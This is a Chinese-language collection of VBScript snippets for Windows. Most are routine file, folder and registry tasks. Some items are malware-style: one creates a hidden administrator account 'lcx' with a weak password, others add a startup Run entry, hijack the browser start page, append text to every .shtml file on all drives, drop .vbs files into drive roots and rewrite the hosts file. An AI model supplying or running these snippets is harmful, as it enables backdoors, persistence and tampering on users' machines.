Const ADMINISTRATIVE_TOOLS = 6 Set objShell = CreateObject("Shell.Application") Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell") strDesktopFld = objFolderItem.Path Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url") objURLShortcut.TargetPath = "http://www.fendou.info/" objURLShortcut.Save
删除指定目录指定后缀文件
1 2 3 4
On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile "C:\*.vbs", True Set fso = Nothing
VBS改主页
1 2
Set oShell = CreateObject("WScript.Shell") oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"
VBS加启动项
1 2
Set oShell=CreateObject("Wscript.Shell") oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS复制自己
1 2
set copy1=createobject("scripting.filesystemobject") copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")
复制本 VBS 目录下的 game.exe 文件到 C 盘的 gangzi.exe
1 2
set copy1=createobject("scripting.filesystemobject") copy1.getfile("game.exe").copy("c:\gangzi.exe")
VBS获取系统临时目录
1 2 3 4 5 6
Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Dim tempfolder Const TemporaryFolder = 2 Set tempfolder = fso.GetSpecialFolder(TemporaryFolder) Wscript.Echo tempfolder
就算代码出错 依然继续执行
1
On Error Resume Next
VBS打开网址
1 2
Set objShell = CreateObject("Wscript.Shell") objShell.Run("http://www.fendou.info/")
strComputer = "." Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'") ForEach objProcess in colProcessList objProcess.Terminate() Next
On Error Resume Next Dim fPath strComputer = "." Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'gangzi.exe'") ForEach objProcess in colProcessList objProcess.Terminate() Next Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colDirs = objWMIService. _ ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'") Set objFSO = CreateObject("Scripting.FileSystemObject") ForEach objDir in colDirs fPath = objDir.Name & "\gangzi.exe" objFSO.DeleteFile(fPath), True Next
VBS获取网卡MAC地址
1 2 3 4 5 6 7 8
Dim mc,mo Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration") For Each mo In mc If mo.IPEnabled=True Then MsgBox "本机网卡MAC地址是: " & mo.MacAddress Exit For End If Next
VBS获取本机注册表主页地址
1 2 3
Set reg=WScript.CreateObject("WScript.Shell") startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page") MsgBox startpage
On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Co = VbCrLf & "路过。。。" For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & "\") End If Next Sub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i Next End Sub Sub Wh(fol) Dim i For Each i In fol.Files If LCase(fso.GetExtensionName(i)) = "shtml" Then fso.OpenTextFile(i,8,0).Write Co End If Next End Sub
获取计算机所有盘符
1 2 3 4 5
Set fso=CreateObject("scripting.filesystemobject") Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each objdrive In objdrives '遍历磁盘 MsgBox objdrive Next
VBS给本机所有磁盘根目录创建文件
1 2 3 4 5 6 7 8
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis '遍历磁盘 Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture) TestFile.WriteLine("By www.gangzi.org") TestFile.Close Next
VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe
1 2 3 4 5 6 7 8 9 10 11 12 13
set fs = CreateObject("Scripting.FileSystemObject") for each drive in fs.drives fstraversal drive.rootfolder next sub fstraversal(byval this) for each folder in this.subfolders fstraversal folder next set files = this.files for each file in files if file.name = "123.exe" then file.name = "321.exe" next end sub
str=“这里是你要复制到剪贴板的字符串” Set ws = wscript.createobject("wscript.shell") ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
QQ自动发消息
1 2 3 4 5 6 7 8
On Error Resume Next str="我是笨蛋/qq" Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0 WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true WScript.Sleep 3000 WshShell.SendKeys "^v" WshShell.SendKeys "%s"
VBS隐藏文件
1 2 3 4 5
Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.GetFile("F:\软件大赛\show.txt") If objFile.Attributes = objFile.Attributes AND2Then objFile.Attributes = objFile.Attributes XOR 2 End If
Set fso=CreateObject("scripting.filesystemobject") Set f=fso.GetFolder(fso.GetAbsolutePathName(".")) Set folders=f.SubFolders For Each fo In folders wsh.echo fo.Name Next Set folders=Nothing Set f=nothing Set fso=nothing
VBS获取指定目录下所有文件夹名字(包括子文件夹)
1 2 3 4 5 6 7 8 9 10 11 12 13
Dim t Set fso=WScript.CreateObject("scripting.filesystemobject") Set fs=fso.GetFolder("d:\") WScript.Echo aa(fs) Function aa(n) Set f=n.subfolders For Each uu In f Set op=fso.GetFolder(uu.path) t=t & vbcrlf & op.path Call aa(op) Next aa=t End function
set fso=createobject("scripting.filesystemobject") qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10) qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10) qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10) qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10) Set TestFile=fso.CreateTextFile("qq.url",Ture) TestFile.WriteLine(qidong) TestFile.Close
VBS写hosts(没写判断,无论存不存在都追加底部)
1 2 3 4 5
Set fs = CreateObject("Scripting.FileSystemObject") path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts" Set f = fs.OpenTextFile(path,8,TristateFalse) f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn" f.Close
Const HKLM = &H80000002 strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" Set oreg = GetObject("Winmgmts:\root\default:StdRegProv") oreg.EnumKey HKLM,strPath,arr For Each x In arr WScript.Echo x Next
VBS创建txt文件
1 2 3 4 5
Dim fso,TestFile Set fso=CreateObject("Scripting.FileSystemObject") Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture) TestFile.WriteLine("Hello,World!") TestFile.Close
VBS创建文件夹
1 2 3
Dim fso,fld Set fso=CreateObject("Scripting.FileSystemObject") Set fld=fso.CreateFolder("C:\newFolder")
VBS判断文件夹是否存在
1 2 3 4 5 6 7
Dim fso,fld Set fso=CreateObject("Scripting.FileSystemObject") If (fso.FolderExists("C:\newFolder")) Then msgbox("Folder exists.") else set fld=fso.CreateFolder("C:\newFolder") End If
VBS使用变量判断文件夹
1 2 3 4 5 6 7 8 9
Dim fso,fld drvName="C:\" fldName="newFolder" Set fso=CreateObject("Scripting.FileSystemObject") If (fso.FolderExists(drvName&fldName)) Then msgbox("Folder exists.") else set fld=fso.CreateFolder(drvName&fldName) End If
VBS加输入框
1 2 3 4 5 6 7 8 9 10 11 12 13
Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter") fldName=inputbox("Enter the folder name:","Folder name") fileName=inputbox("Enter the name of the file:","Filename") Set fso=CreateObject("Scripting.FileSystemObject") If(fso.FolderExists(drvName&fldName))Then msgbox("Folder exists") Else Set fld=fso.CreateFolder(drvName&fldName) End If Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True) TestFile.WriteLine("Hello,World!") TestFile.Close
VBS检查是否有相同文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter") fldName=inputbox("Enter the folder name:","Folder name") fileName=inputbox("Enter the name of the file:","Filename") Set fso=CreateObject("Scripting.FileSystemObject") If(fso.FolderExists(drvName&fldName))Then msgbox("Folder exists") Else Set fld=fso.CreateFolder(drvName&fldName) End If If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then msgbox("File already exists.") Else Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True) TestFile.WriteLine("Hello,World!") TestFile.Close End If
VBS改写、追加 文件
1 2 3 4 5
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加 openFile.Write "Hello World!" openFile.Close
VBS读取文件 ReadAll 读取全部
1 2 3 4
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",1,True) MsgBox(openFile.ReadAll)
VBS读取文件 ReadLine 读取一行
1 2 3 4 5
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",1,True) MsgBox(openFile.ReadLine()) MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错
VBS读取文件 Read 读取n个字符
1 2 3 4
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",1,True) MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。
VBS删除文件
1 2 3
Dim fso Set fso=CreateObject("Scripting.FileSystemObject") fso.DeleteFile("C:\test.txt")
VBS删除文件夹
1 2 3
Dim fso Set fso=CreateObject("Scripting.FileSystemObject") fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除
VBS连续创建文件
1 2 3 4 5 6 7
Dim fso,TestFile Set fso=CreateObject("Scripting.FileSystemObject") For i=1 To 10 Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture) TestFile.WriteLine("Hello,World!") TestFile.Close Next
VBS根据计算机名随机生成字符串
1 2 3 4 5 6 7 8 9 10 11 12
set ws=createobject("wscript.shell") set wenv=ws.environment("process") RDA=wenv("computername") Function UCharRand(n) For i=1 to n Randomize ASC(MID(RDA,1,1)) temp = cint(25*Rnd) temp = temp +65 UCharRand = UCharRand & chr(temp) Next End Function msgbox UCharRand(LEN(RDA))
Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Set oIE = CreateObject("InternetExplorer.Application") for i=1 to 5 wsh.run "Rasdial /DISCONNECT",false,1 wsh.run "Rasdial 连接名字 账号 密码",false,1 oIE.Navigate "http://www.ip138.com/?"&i&"" Call SynchronizeIE oIE.Visible = True next Sub SynchronizeIE On Error Resume Next Do While(oIE.Busy) WScript.Sleep 3000 Loop End Sub
set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) '得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") '属性,admin组 Set od=ob.Create("user","lcx") '建立用户 od.SetPassword "123456" '设置密码 od.SetInfo '保存 Set of=GetObject(os&"/lcx",user) '得到用户 oe.add os&"/lcx"
Set ObjService=GetObject("IIS://LocalHost/W3SVC") For Each obj3w In objservice If IsNumeric(obj3w.Name) Then sServerName=Obj3w.ServerComment Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root") ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf End If Next WScript.Echo ListAllWeb Set ObjService=Nothing WScript.Quit
Digital=time hours=Hour(Digital) minutes=Minute(Digital) seconds=Second(Digital) if (hours<6) then dn="凌辰了,还没睡啊?" end if if (hours>=6) then dn="早上好!" end if if (hours>12) then dn="下午好!" end if if (hours>18) then dn="晚上好!" end if if (hours>22) then dn="不早了,夜深了,该睡觉了!" end if if (minutes<=9) then minutes="0" & minutes end if if (seconds<=9) then seconds="0" & seconds end if ctime=hours & ":" & minutes & ":" & seconds & " " & dn Msgbox ctime